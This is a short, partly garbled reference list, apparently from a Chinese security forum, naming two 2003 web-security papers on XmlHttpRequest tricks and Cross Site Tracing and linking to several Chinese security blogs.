Other XmlHttpRequest tricks (Amit Klein, January 2003)
6 c% L/ u: ?1 K"Cross Site Tracing" (Jeremiah Grossman, January 2003)
- y4 f8 J' P$ N. ihttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
5 J. [. t0 S: D5 j! f$ c1 I/ P2 A空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
* p* }" d' ~3 x8 i. K